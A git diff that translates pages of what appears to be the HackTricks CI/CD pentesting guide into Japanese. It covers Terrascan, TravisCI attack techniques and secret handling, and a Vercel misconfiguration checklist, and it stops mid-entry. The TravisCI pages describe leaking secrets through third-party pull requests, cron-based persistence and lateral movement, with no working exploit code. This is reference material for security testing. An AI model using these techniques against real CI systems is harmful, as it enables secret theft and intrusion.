[**docs**](https://github.com/tenable/terrascan): Terrascan is a static code analyzer for Infrastructure as Code. Terrascan allows you to: - -- Seamlessly scan infrastructure as code for misconfigurations. -- Monitor provisioned cloud infrastructure for configuration changes that introduce posture drift, and enables reverting to a secure posture. -- Detect security vulnerabilities and compliance violations. -- Mitigate risks before provisioning cloud native infrastructure. -- Offers flexibility to run locally or integrate with your CI\CD. +From the [**docs**](https://github.com/tenable/terrascan): Terrascanは、Infrastructure as Codeのための静的コード分析ツールです。Terrascanを使用すると、以下のことができます： +- インフラストラクチャをコードとしてシームレスにスキャンし、誤設定を検出します。 +- プロビジョニングされたクラウドインフラストラクチャの構成変更を監視し、姿勢の変化を引き起こすものを特定し、安全な姿勢に戻すことを可能にします。 +- セキュリティの脆弱性やコンプライアンス違反を検出します。 +- クラウドネイティブインフラストラクチャをプロビジョニングする前にリスクを軽減します。 +- ローカルで実行する柔軟性や、CI\CDと統合することを提供します。 ```bash brew install terrascan ``` - -## References +## 参考文献 - [Atlantis Security](atlantis-security.md) - [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce) @@ -310,7 +280,3 @@ brew install terrascan - [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/todo.md b/src/pentesting-ci-cd/todo.md index 63a3bb5c8..44b9c6233 100644 --- a/src/pentesting-ci-cd/todo.md +++ b/src/pentesting-ci-cd/todo.md @@ -2,7 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -Github PRs are welcome explaining how to (ab)use those platforms from an attacker perspective +Github PRsは、攻撃者の視点からこれらのプラットフォームをどのように（悪用）するかを説明することを歓迎します。 - Drone - TeamCity @@ -11,10 +11,6 @@ Github PRs are welcome explaining how to (ab)use those platforms from an attacke - Rancher - Mesosphere - Radicle -- Any other CI/CD platform... +- その他のCI/CDプラットフォーム... {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md index cff623392..fbf15b879 100644 --- a/src/pentesting-ci-cd/travisci-security/README.md +++ b/src/pentesting-ci-cd/travisci-security/README.md @@ -4,7 +4,7 @@ ## What is TravisCI -**Travis CI** is a **hosted** or on **premises** **continuous integration** service used to build and test software projects hosted on several **different git platform**. +**Travis CI**は、**ホスティング**または**オンプレミス**の**継続的インテグレーション**サービスで、いくつかの**異なるgitプラットフォーム**にホストされたソフトウェアプロジェクトをビルドおよびテストするために使用されます。 {{#ref}} basic-travisci-information.md @@ -14,48 +14,48 @@ basic-travisci-information.md ### Triggers -To launch an attack you first need to know how to trigger a build. By default TravisCI will **trigger a build on pushes and pull requests**: +攻撃を開始するには、まずビルドをトリガーする方法を知っておく必要があります。デフォルトでは、TravisCIは**プッシュとプルリクエストでビルドをトリガーします**： ![](<../../images/image (145).png>) #### Cron Jobs -If you have access to the web application you can **set crons to run the build**, this could be useful for persistence or to trigger a build: +ウェブアプリケーションにアクセスできる場合、**ビルドを実行するためのクロンを設定できます**。これは持続性のためやビルドをトリガーするために役立つかもしれません： ![](<../../images/image (243).png>) > [!NOTE] -> It looks like It's not possible to set crons inside the `.travis.yml` according to [this](https://github.com/travis-ci/travis-ci/issues/9162). +> [これ](https://github.com/travis-ci/travis-ci/issues/9162)によると、`.travis.yml`内でクロンを設定することはできないようです。 ### Third Party PR -TravisCI by default disables sharing env variables with PRs coming from third parties, but someone might enable it and then you could create PRs to the repo and exfiltrate the secrets: +TravisCIはデフォルトで、第三者からのPRと環境変数を共有することを無効にしていますが、誰かがそれを有効にすると、リポジトリにPRを作成して秘密を抽出することができます： ![](<../../images/image (208).png>) ### Dumping Secrets -As explained in the [**basic information**](basic-travisci-information.md) page, there are 2 types of secrets. **Environment Variables secrets** (which are listed in the web page) and **custom encrypted secrets**, which are stored inside the `.travis.yml` file as base64 (note that both as stored encrypted will end as env variables in the final machines). +[**基本情報**](basic-travisci-information.md)ページで説明されているように、秘密には2種類あります。**環境変数の秘密**（ウェブページにリストされています）と、**カスタム暗号化された秘密**で、これは`.travis.yml`ファイル内にbase64として保存されています（両方とも暗号化されて保存されると、最終的なマシンの環境変数として表示されます）。 -- To **enumerate secrets** configured as **Environment Variables** go to the **settings** of the **project** and check the list. However, note that all the project env variables set here will appear when triggering a build. -- To enumerate the **custom encrypted secrets** the best you can do is to **check the `.travis.yml` file**. -- To **enumerate encrypted files** you can check for **`.enc` files** in the repo, for lines similar to `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in the config file, or for **encrypted iv and keys** in the **Environment Variables** such as: +- **環境変数**として設定された**秘密を列挙する**には、**プロジェクト**の**設定**に移動し、リストを確認します。ただし、ここで設定されたすべてのプロジェクトの環境変数は、ビルドをトリガーすると表示されることに注意してください。 +- **カスタム暗号化された秘密**を列挙するには、最善の方法は**`.travis.yml`ファイルを確認する**ことです。 +- **暗号化されたファイル**を列挙するには、リポジトリ内の**`.enc`ファイル**を確認するか、設定ファイル内の`openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d`に似た行を探すか、次のような**環境変数**内の**暗号化されたivとキー**を探します： ![](<../../images/image (81).png>) ### TODO: -- Example build with reverse shell running on Windows/Mac/Linux -- Example build leaking the env base64 encoded in the logs +- Windows/Mac/Linuxでリバースシェルを実行する例のビルド +- ログにエンコードされた環境変数を漏洩させる例のビルド ### TravisCI Enterprise -If an attacker ends in an environment which uses **TravisCI enterprise** (more info about what this is in the [**basic information**](basic-travisci-information.md#travisci-enterprise)), he will be able to **trigger builds in the the Worker.** This means that an attacker will be able to move laterally to that server from which he could be able to: +攻撃者が**TravisCIエンタープライズ**を使用している環境に入った場合（これについての詳細は[**基本情報**](basic-travisci-information.md#travisci-enterprise)を参照）、彼は**Workerでビルドをトリガーする**ことができます。これは、攻撃者がそのサーバーに横移動できることを意味し、そこから次のことが可能になります： -- escape to the host? -- compromise kubernetes? -- compromise other machines running in the same network? -- compromise new cloud credentials? +- ホストに逃げる？ +- Kubernetesを侵害する？ +- 同じネットワーク内で動作している他のマシンを侵害する？ +- 新しいクラウド資格情報を侵害する？ ## References @@ -63,7 +63,3 @@ If an attacker ends in an environment which uses **TravisCI enterprise** (more i - [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md index 46b10bf38..aa493f433 100644 --- a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md +++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md @@ -2,47 +2,44 @@ {{#include ../../banners/hacktricks-training.md}} -## Access +## アクセス -TravisCI directly integrates with different git platforms such as Github, Bitbucket, Assembla, and Gitlab. It will ask the user to give TravisCI permissions to access the repos he wants to integrate with TravisCI. +TravisCIは、Github、Bitbucket、Assembla、Gitlabなどのさまざまなgitプラットフォームと直接統合されます。ユーザーにTravisCIが統合したいリポジトリにアクセスするための権限を与えるよう求めます。 -For example, in Github it will ask for the following permissions: +例えば、Githubでは以下の権限を求めます： -- `user:email` (read-only) -- `read:org` (read-only) -- `repo`: Grants read and write access to code, commit statuses, collaborators, and deployment statuses for public and private repositories and organizations. +- `user:email`（読み取り専用） +- `read:org`（読み取り専用） +- `repo`：公開およびプライベートリポジトリと組織のコード、コミットステータス、コラボレーター、およびデプロイメントステータスへの読み取りおよび書き込みアクセスを付与します。 -## Encrypted Secrets +## 暗号化された秘密 -### Environment Variables +### 環境変数 -In TravisCI, as in other CI platforms, it's possible to **save at repo level secrets** that will be saved encrypted and be **decrypted and push in the environment variable** of the machine executing the build. +TravisCIでは、他のCIプラットフォームと同様に、**リポジトリレベルで秘密を保存する**ことが可能で、これらは暗号化されて保存され、**ビルドを実行するマシンの環境変数に復号化されてプッシュされます**。 ![](<../../images/image (203).png>) -It's possible to indicate the **branches to which the secrets are going to be available** (by default all) and also if TravisCI **should hide its value** if it appears **in the logs** (by default it will). +**秘密が利用可能なブランチを指定する**ことが可能です（デフォルトではすべて）し、またTravisCIが**ログに表示された場合にその値を隠すべきか**（デフォルトでは隠します）も指定できます。 -### Custom Encrypted Secrets +### カスタム暗号化された秘密 -For **each repo** TravisCI generates an **RSA keypair**, **keeps** the **private** one, and makes the repository’s **public key available** to those who have **access** to the repository. - -You can access the public key of one repo with: +**各リポジトリ**に対して、TravisCIは**RSAキーペア**を生成し、**プライベート**キーを保持し、リポジトリに**アクセス**できる人々にリポジトリの**公開鍵を提供**します。 +リポジトリの公開鍵にアクセスするには、次のようにします： ``` travis pubkey -r / travis pubkey -r carlospolop/t-ci-test ``` - -Then, you can use this setup to **encrypt secrets and add them to your `.travis.yaml`**. The secrets will be **decrypted when the build is run** and accessible in the **environment variables**. +その後、このセットアップを使用して**秘密を暗号化し、それを`.travis.yaml`に追加することができます**。秘密は**ビルドが実行されるときに復号化され**、**環境変数**でアクセス可能になります。 ![](<../../images/image (139).png>) -Note that the secrets encrypted this way won't appear listed in the environmental variables of the settings. +この方法で暗号化された秘密は、設定の環境変数にリストされないことに注意してください。 -### Custom Encrypted Files - -Same way as before, TravisCI also allows to **encrypt files and then decrypt them during the build**: +### カスタム暗号化ファイル +以前と同様に、TravisCIは**ファイルを暗号化し、ビルド中に復号化することを許可します**： ``` travis encrypt-file super_secret.txt -r carlospolop/t-ci-test @@ -52,7 +49,7 @@ storing secure env variables for decryption Please add the following to your build script (before_install stage in your .travis.yml, for instance): - openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d +openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d Pro Tip: You can add it automatically by running with --add. @@ -60,37 +57,32 @@ Make sure to add super_secret.txt.enc to the git repository. Make sure not to add super_secret.txt to the git repository. Commit all changes to your .travis.yml. ``` - -Note that when encrypting a file 2 Env Variables will be configured inside the repo such as: +注意：ファイルを暗号化する際、リポジトリ内に2つの環境変数が設定されます。 ![](<../../images/image (170).png>) -## TravisCI Enterprise +## TravisCIエンタープライズ -Travis CI Enterprise is an **on-prem version of Travis CI**, which you can deploy **in your infrastructure**. Think of the ‘server’ version of Travis CI. Using Travis CI allows you to enable an easy-to-use Continuous Integration/Continuous Deployment (CI/CD) system in an environment, which you can configure and secure as you want to. +Travis CIエンタープライズは、**Travis CIのオンプレミス版**であり、**あなたのインフラストラクチャ内にデプロイ**できます。Travis CIの「サーバー」版と考えてください。Travis CIを使用することで、あなたが望むように構成およびセキュリティを設定できる環境で、使いやすい継続的インテグレーション/継続的デプロイメント（CI/CD）システムを有効にできます。 -**Travis CI Enterprise consists of two major parts:** +**Travis CIエンタープライズは2つの主要な部分で構成されています：** -1. TCI **services** (or TCI Core Services), responsible for integration with version control systems, authorizing builds, scheduling build jobs, etc. -2. TCI **Worker** and build environment images (also called OS images). +1. TCI **サービス**（またはTCIコアサービス）は、バージョン管理システムとの統合、ビルドの認証、ビルドジョブのスケジューリングなどを担当します。 +2. TCI **ワーカー**およびビルド環境イメージ（OSイメージとも呼ばれます）。 -**TCI Core services require the following:** +**TCIコアサービスには以下が必要です：** -1. A **PostgreSQL11** (or later) database. -2. An infrastructure to deploy a Kubernetes cluster; it can be deployed in a server cluster or in a single machine if required -3. Depending on your setup, you may want to deploy and configure some of the components on your own, e.g., RabbitMQ - see the [Setting up Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) for more details. +1. **PostgreSQL11**（またはそれ以降）のデータベース。 +2. Kubernetesクラスターをデプロイするためのインフラストラクチャ；必要に応じてサーバークラスターまたは単一のマシンにデプロイできます。 +3. セットアップに応じて、RabbitMQなどのコンポーネントを自分でデプロイおよび構成することを検討するかもしれません - 詳細については[Travis CIエンタープライズの設定](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/)を参照してください。 -**TCI Worker requires the following:** +**TCIワーカーには以下が必要です：** -1. An infrastructure where a docker image containing the **Worker and a linked build image can be deployed**. -2. Connectivity to certain Travis CI Core Services components - see the [Setting Up Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) for more details. +1. **ワーカーとリンクされたビルドイメージを含むdockerイメージをデプロイできるインフラストラクチャ**。 +2. 特定のTravis CIコアサービスコンポーネントへの接続 - 詳細については[ワーカーの設定](https://docs.travis-ci.com/user/enterprise/setting-up-worker/)を参照してください。 -The amount of deployed TCI Worker and build environment OS images will determine the total concurrent capacity of Travis CI Enterprise deployment in your infrastructure. +デプロイされたTCIワーカーおよびビルド環境OSイメージの数は、あなたのインフラストラクチャにおけるTravis CIエンタープライズデプロイメントの総同時容量を決定します。 ![](<../../images/image (199).png>) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/vercel-security.md b/src/pentesting-ci-cd/vercel-security.md index 16dc93da7..557f94c11 100644 --- a/src/pentesting-ci-cd/vercel-security.md +++ b/src/pentesting-ci-cd/vercel-security.md @@ -2,440 +2,436 @@ {{#include ../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -In Vercel a **Team** is the complete **environment** that belongs a client and a **project** is an **application**. +Vercelでは、**チーム**はクライアントに属する完全な**環境**であり、**プロジェクト**は**アプリケーション**です。 -For a hardening review of **Vercel** you need to ask for a user with **Viewer role permission** or at least **Project viewer permission over the projects** to check (in case you only need to check the projects and not the Team configuration also). +**Vercel**のハードニングレビューを行うには、**Viewer role permission**を持つユーザー、または少なくとも**プロジェクトに対するProject viewer permission**を持つユーザーに依頼して、プロジェクトを確認する必要があります（チーム設定も確認する必要がない場合）。 -## Project Settings +## プロジェクト設定 -### General +### 一般 -**Purpose:** Manage fundamental project settings such as project name, framework, and build configurations. +**目的:** プロジェクト名、フレームワーク、ビルド設定などの基本的なプロジェクト設定を管理します。 -#### Security Configurations: +#### セキュリティ設定: -- **Transfer** - - **Misconfiguration:** Allows to transfer the project to another team - - **Risk:** An attacker could steal the project -- **Delete Project** - - **Misconfiguration:** Allows to delete the project - - **Risk:** Delete the prject +- **転送** +- **誤設定:** プロジェクトを別のチームに転送することを許可します。 +- **リスク:** 攻撃者がプロジェクトを盗む可能性があります。 +- **プロジェクト削除** +- **誤設定:** プロジェクトを削除することを許可します。 +- **リスク:** プロジェクトが削除される可能性があります。 --- -### Domains +### ドメイン -**Purpose:** Manage custom domains, DNS settings, and SSL configurations. +**目的:** カスタムドメイン、DNS設定、SSL設定を管理します。 -#### Security Configurations: +#### セキュリティ設定: -- **DNS Configuration Errors** - - **Misconfiguration:** Incorrect DNS records (A, CNAME) pointing to malicious servers. - - **Risk:** Domain hijacking, traffic interception, and phishing attacks. -- **SSL/TLS Certificate Management** - - **Misconfiguration:** Using weak or expired SSL/TLS certificates. - - **Risk:** Vulnerable to man-in-the-middle (MITM) attacks, compromising data integrity and confidentiality. -- **DNSSEC Implementation** - - **Misconfiguration:** Failing to enable DNSSEC or incorrect DNSSEC settings. - - **Risk:** Increased susceptibility to DNS spoofing and cache poisoning attacks. -- **Environment used per domain** - - **Misconfiguration:** Change the environment used by the domain in production. - - **Risk:** Expose potential secrets or functionalities taht shouldn't be available in production. +- **DNS設定エラー** +- **誤設定:** 悪意のあるサーバーを指す不正確なDNSレコード（A、CNAME）。 +- **リスク:** ドメインハイジャック、トラフィックの傍受、フィッシング攻撃。 +- **SSL/TLS証明書管理** +- **誤設定:** 弱いまたは期限切れのSSL/TLS証明書を使用します。 +- **リスク:** 中間者攻撃（MITM）に対して脆弱であり、データの整合性と機密性が損なわれる可能性があります。 +- **DNSSEC実装** +- **誤設定:** DNSSECを有効にしない、または不正確なDNSSEC設定。 +- **リスク:** DNSスプーフィングやキャッシュポイズニング攻撃に対する感受性が高まります。 +- **ドメインごとの使用環境** +- **誤設定:** 本番環境でドメインが使用する環境を変更します。 +- **リスク:** 本番環境で利用可能であってはならない潜在的な秘密や機能が露出する可能性があります。 --- -### Environments +### 環境 -**Purpose:** Define different environments (Development, Preview, Production) with specific settings and variables. +**目的:** 特定の設定と変数を持つ異なる環境（開発、プレビュー、本番）を定義します。 -#### Security Configurations: +#### セキュリティ設定: -- **Environment Isolation** - - **Misconfiguration:** Sharing environment variables across environments. - - **Risk:** Leakage of production secrets into development or preview environments, increasing exposure. -- **Access to Sensitive Environments** - - **Misconfiguration:** Allowing broad access to production environments. - - **Risk:** Unauthorized changes or access to live applications, leading to potential downtimes or data breaches. +- **環境の分離** +- **誤設定:** 環境間で環境変数を共有します。 +- **リスク:** 本番の秘密が開発またはプレビュー環境に漏洩し、露出が増加します。 +- **機密環境へのアクセス** +- **誤設定:** 本番環境への広範なアクセスを許可します。 +- **リスク:** 無許可の変更やライブアプリケーションへのアクセスが可能になり、ダウンタイムやデータ漏洩の可能性があります。 --- -### Environment Variables +### 環境変数 -**Purpose:** Manage environment-specific variables and secrets used by the application. +**目的:** アプリケーションで使用される環境固有の変数と秘密を管理します。 -#### Security Configurations: +#### セキュリティ設定: -- **Exposing Sensitive Variables** - - **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side. - - **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches. -- **Sensitive disabled** - - **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets. - - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information. -- **Shared Environment Variables** - - **Misconfiguration:** These are env variables set at Team level and could also contain sensitive information. - - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information. +- **機密変数の露出** +- **誤設定:** 機密変数に`NEXT_PUBLIC_`をプレフィックスし、クライアント側でアクセス可能にします。 +- **リスク:** APIキー、データベースの資格情報、またはその他の機密データが公開され、データ漏洩につながる可能性があります。 +- **機密無効** +- **誤設定:** 無効にされている場合（デフォルト）、生成された秘密の値を読み取ることが可能です。 +- **リスク:** 機密情報の偶発的な露出や無許可のアクセスの可能性が高まります。 +- **共有環境変数** +- **誤設定:** これらはチームレベルで設定された環境変数であり、機密情報を含む可能性があります。 +- **リスク:** 機密情報の偶発的な露出や無許可のアクセスの可能性が高まります。 --- ### Git -**Purpose:** Configure Git repository integrations, branch protections, and deployment triggers. +**目的:** Gitリポジトリの統合、ブランチ保護、デプロイメントトリガーを設定します。 -#### Security Configurations: +#### セキュリティ設定: -- **Ignored Build Step (TODO)** - - **Misconfiguration:** It looks like this option allows to configure a bash script/commands that will be executed when a new commit is pushed in Github, which could allow RCE. - - **Risk:** TBD +- **無視されたビルドステップ（TODO）** +- **誤設定:** このオプションは、新しいコミットがGitHubにプッシュされたときに実行されるbashスクリプト/コマンドを設定できるようです。これによりRCEが可能になる可能性があります。 +- **リスク:** TBD --- -### Integrations +### 統合 -**Purpose:** Connect third-party services and tools to enhance project functionalities. +**目的:** プロジェクトの機能を強化するためにサードパーティのサービスやツールを接続します。 -#### Security Configurations: +#### セキュリティ設定: -- **Insecure Third-Party Integrations** - - **Misconfiguration:** Integrating with untrusted or insecure third-party services. - - **Risk:** Introduction of vulnerabilities, data leaks, or backdoors through compromised integrations. -- **Over-Permissioned Integrations** - - **Misconfiguration:** Granting excessive permissions to integrated services. - - **Risk:** Unauthorized access to project resources, data manipulation, or service disruptions. -- **Lack of Integration Monitoring** - - **Misconfiguration:** Failing to monitor and audit third-party integrations. - - **Risk:** Delayed detection of compromised integrations, increasing the potential impact of security breaches. +- **安全でないサードパーティ統合** +- **誤設定:** 信頼できないまたは安全でないサードパーティサービスとの統合。 +- **リスク:** 脆弱性、データ漏洩、または侵害された統合を通じたバックドアの導入。 +- **過剰な権限を持つ統合** +- **誤設定:** 統合されたサービスに過剰な権限を付与します。 +- **リスク:** プロジェクトリソースへの無許可のアクセス、データの操作、またはサービスの中断。 +- **統合監視の欠如** +- **誤設定:** サードパーティ統合の監視や監査を怠ります。 +- **リスク:** 侵害された統合の検出が遅れ、セキュリティ侵害の影響が増大します。 --- -### Deployment Protection +### デプロイメント保護 -**Purpose:** Secure deployments through various protection mechanisms, controlling who can access and deploy to your environments. +**目的:** 様々な保護メカニズムを通じてデプロイメントを保護し、誰が環境にアクセスしデプロイできるかを制御します。 -#### Security Configurations: +#### セキュリティ設定: -**Vercel Authentication** +**Vercel認証** -- **Misconfiguration:** Disabling authentication or not enforcing team member checks. -- **Risk:** Unauthorized users can access deployments, leading to data breaches or application misuse. +- **誤設定:** 認証を無効にするか、チームメンバーのチェックを強制しない。 +- **リスク:** 無許可のユーザーがデプロイメントにアクセスでき、データ漏洩やアプリケーションの悪用につながる可能性があります。 -**Protection Bypass for Automation** +**自動化のための保護バイパス** -- **Misconfiguration:** Exposing the bypass secret publicly or using weak secrets. -- **Risk:** Attackers can bypass deployment protections, accessing and manipulating protected deployments. +- **誤設定:** バイパスシークレットを公開するか、弱いシークレットを使用します。 +- **リスク:** 攻撃者がデプロイメント保護をバイパスし、保護されたデプロイメントにアクセスして操作することができます。 -**Shareable Links** +**共有リンク** -- **Misconfiguration:** Sharing links indiscriminately or failing to revoke outdated links. -- **Risk:** Unauthorized access to protected deployments, bypassing authentication and IP restrictions. +- **誤設定:** リンクを無差別に共有するか、古いリンクを取り消さない。 +- **リスク:** 認証やIP制限をバイパスして保護されたデプロイメントに無許可でアクセスすることができます。 **OPTIONS Allowlist** -- **Misconfiguration:** Allowlisting overly broad paths or sensitive endpoints. -- **Risk:** Attackers can exploit unprotected paths to perform unauthorized actions or bypass security checks. +- **誤設定:** 過度に広いパスや機密エンドポイントを許可リストに追加します。 +- **リスク:** 攻撃者が保護されていないパスを利用して無許可のアクションを実行したり、セキュリティチェックをバイパスしたりすることができます。 -**Password Protection** +**パスワード保護** -- **Misconfiguration:** Using weak passwords or sharing them insecurely. -- **Risk:** Unauthorized access to deployments if passwords are guessed or leaked. -- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month. +- **誤設定:** 弱いパスワードを使用するか、安全でない方法で共有します。 +- **リスク:** パスワードが推測されたり漏洩した場合、デプロイメントに無許可でアクセスされる可能性があります。 +- **注:** **Pro**プランで利用可能で、**Advanced Deployment Protection**の一部として追加の$150/月が必要です。 -**Deployment Protection Exceptions** +**デプロイメント保護の例外** -- **Misconfiguration:** Adding production or sensitive domains to the exception list inadvertently. -- **Risk:** Exposure of critical deployments to the public, leading to data leaks or unauthorized access. -- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month. +- **誤設定:** 本番または機密ドメインを誤って例外リストに追加します。 +- **リスク:** 重要なデプロイメントが公開され、データ漏洩や無許可のアクセスにつながる可能性があります。 +- **注:** **Pro**プランで利用可能で、**Advanced Deployment Protection**の一部として追加の$150/月が必要です。 -**Trusted IPs** +**信頼されたIP** -- **Misconfiguration:** Incorrectly specifying IP addresses or CIDR ranges. -- **Risk:** Legitimate users being blocked or unauthorized IPs gaining access. -- **Note:** Available on the **Enterprise** plan. +- **誤設定:** IPアドレスやCIDR範囲を不正確に指定します。 +- **リスク:** 正当なユーザーがブロックされるか、無許可のIPがアクセスを得る可能性があります。 +- **注:** **Enterprise**プランで利用可能です。 --- -### Functions +### 関数 -**Purpose:** Configure serverless functions, including runtime settings, memory allocation, and security policies. +**目的:** サーバーレス関数を設定し、ランタイム設定、メモリ割り当て、セキュリティポリシーを含みます。 -#### Security Configurations: +#### セキュリティ設定: -- **Nothing** +- **なし** --- -### Data Cache +### データキャッシュ -**Purpose:** Manage caching strategies and settings to optimize performance and control data storage. +**目的:** パフォーマンスを最適化し、データストレージを制御するためのキャッシング戦略と設定を管理します。 -#### Security Configurations: +#### セキュリティ設定: -- **Purge Cache** - - **Misconfiguration:** It allows to delete all the cache. - - **Risk:** Unauthorized users deleting the cache leading to a potential DoS. +- **キャッシュの消去** +- **誤設定:** すべてのキャッシュを削除することを許可します。 +- **リスク:** 無許可のユーザーがキャッシュを削除し、潜在的なDoSを引き起こす可能性があります。 --- -### Cron Jobs +### Cronジョブ -**Purpose:** Schedule automated tasks and scripts to run at specified intervals. +**目的:** 指定された間隔で自動化されたタスクやスクリプトをスケジュールします。 -#### Security Configurations: +#### セキュリティ設定: -- **Disable Cron Job** - - **Misconfiguration:** It allows to disable cron jobs declared inside the code - - **Risk:** Potential interruption of the service (depending on what the cron jobs were meant for) +- **Cronジョブの無効化** +- **誤設定:** コード内で宣言されたcronジョブを無効にすることを許可します。 +- **リスク:** サービスの中断の可能性（cronジョブが何のためにあったかによります）。 --- -### Log Drains +### ログドレイン -**Purpose:** Configure external logging services to capture and store application logs for monitoring and auditing. +**目的:** 監視と監査のためにアプリケーションログをキャプチャし保存する外部ログサービスを設定します。 -#### Security Configurations: +#### セキュリティ設定: -- Nothing (managed from teams settings) +- なし（チーム設定から管理） --- -### Security +### セキュリティ -**Purpose:** Central hub for various security-related settings affecting project access, source protection, and more. +**目的:** プロジェクトアクセス、ソース保護などに影響を与えるさまざまなセキュリティ関連設定の中央ハブです。 -#### Security Configurations: +#### セキュリティ設定: -**Build Logs and Source Protection** +**ビルドログとソース保護** -- **Misconfiguration:** Disabling protection or exposing `/logs` and `/src` paths publicly. -- **Risk:** Unauthorized access to build logs and source code, leading to information leaks and potential exploitation of vulnerabilities. +- **誤設定:** 保護を無効にするか、`/logs`および`/src`パスを公開します。 +- **リスク:** ビルドログやソースコードへの無許可のアクセスが可能になり、情報漏洩や脆弱性の悪用につながる可能性があります。 -**Git Fork Protection** +**Gitフォーク保護** -- **Misconfiguration:** Allowing unauthorized pull requests without proper reviews. -- **Risk:** Malicious code can be merged into the codebase, introducing vulnerabilities or backdoors. +- **誤設定:** 適切なレビューなしに無許可のプルリクエストを許可します。 +- **リスク:** 悪意のあるコードがコードベースにマージされ、脆弱性やバックドアが導入される可能性があります。 -**Secure Backend Access with OIDC Federation** +**OIDC連携による安全なバックエンドアクセス** -- **Misconfiguration:** Incorrectly setting up OIDC parameters or using insecure issuer URLs. -- **Risk:** Unauthorized access to backend services through flawed authentication flows. +- **誤設定:** OIDCパラメータを不正確に設定するか、安全でない発行者URLを使用します。 +- **リスク:** 欠陥のある認証フローを通じてバックエンドサービスへの無許可のアクセスが可能になります。 -**Deployment Retention Policy** +**デプロイメント保持ポリシー** -- **Misconfiguration:** Setting retention periods too short (losing deployment history) or too long (unnecessary data retention). -- **Risk:** Inability to perform rollbacks when needed or increased risk of data exposure from old deployments. +- **誤設定:** 保持期間を短すぎる（デプロイメント履歴を失う）または長すぎる（不必要なデータ保持）に設定します。 +- **リスク:** 必要なときにロールバックができなくなるか、古いデプロイメントからのデータ露出のリスクが増加します。 -**Recently Deleted Deployments** +**最近削除されたデプロイメント** -- **Misconfiguration:** Not monitoring deleted deployments or relying solely on automated deletions. -- **Risk:** Loss of critical deployment history, hindering audits and rollbacks. +- **誤設定:** 削除されたデプロイメントを監視しないか、自動削除のみに依存します。 +- **リスク:** 重要なデプロイメント履歴の喪失が監査やロールバックを妨げます。 --- -### Advanced +### 高度な設定 -**Purpose:** Access to additional project settings for fine-tuning configurations and enhancing security. +**目的:** 設定を微調整し、セキュリティを強化するための追加のプロジェクト設定にアクセスします。 -#### Security Configurations: +#### セキュリティ設定: -**Directory Listing** +**ディレクトリリスト** -- **Misconfiguration:** Enabling directory listing allows users to view directory contents without an index file. -- **Risk:** Exposure of sensitive files, application structure, and potential entry points for attacks. +- **誤設定:** ディレクトリリストを有効にすると、ユーザーがインデックスファイルなしでディレクトリの内容を表示できるようになります。 +- **リスク:** 機密ファイル、アプリケーション構造、攻撃の潜在的な入口が露出します。 --- -## Project Firewall +## プロジェクトファイアウォール -### Firewall +### ファイアウォール -#### Security Configurations: +#### セキュリティ設定: -**Enable Attack Challenge Mode** +**攻撃チャレンジモードの有効化** -- **Misconfiguration:** Enabling this improves the defenses of the web application against DoS but at the cost of usability -- **Risk:** Potential user experience problems. +- **誤設定:** これを有効にすると、DoSに対するWebアプリケーションの防御が向上しますが、使いやすさが犠牲になります。 +- **リスク:** ユーザーエクスペリエンスの問題の可能性があります。 -### Custom Rules & IP Blocking +### カスタムルールとIPブロッキング -- **Misconfiguration:** Allows to unblock/block traffic -- **Risk:** Potential DoS allowing malicious traffic or blocking benign traffic +- **誤設定:** トラフィックをブロック/解除することを許可します。 +- **リスク:** 悪意のあるトラフィックを許可したり、無害なトラフィックをブロックしたりする可能性があります。 --- -## Project Deployment +## プロジェクトデプロイメント -### Source +### ソース -- **Misconfiguration:** Allows access to read the complete source code of the application -- **Risk:** Potential exposure of sensitive information +- **誤設定:** アプリケーションの完全なソースコードを読むアクセスを許可します。 +- **リスク:** 機密情報の露出の可能性があります。 -### Skew Protection +### スキュー保護 -- **Misconfiguration:** This protection ensures the client and server application are always using the same version so there is no desynchronizations were the client uses a different version from the server and therefore they don't understand each other. -- **Risk:** Disabling this (if enabled) could cause DoS problems in new deployments in the future +- **誤設定:** この保護は、クライアントとサーバーアプリケーションが常に同じバージョンを使用することを保証し、クライアントがサーバーとは異なるバージョンを使用することによる非同期を防ぎます。 +- **リスク:** これを無効にすると（有効な場合）、将来の新しいデプロイメントでDoSの問題を引き起こす可能性があります。 --- -## Team Settings +## チーム設定 -### General +### 一般 -#### Security Configurations: +#### セキュリティ設定: -- **Transfer** - - **Misconfiguration:** Allows to transfer all the projects to another team - - **Risk:** An attacker could steal the projects -- **Delete Project** - - **Misconfiguration:** 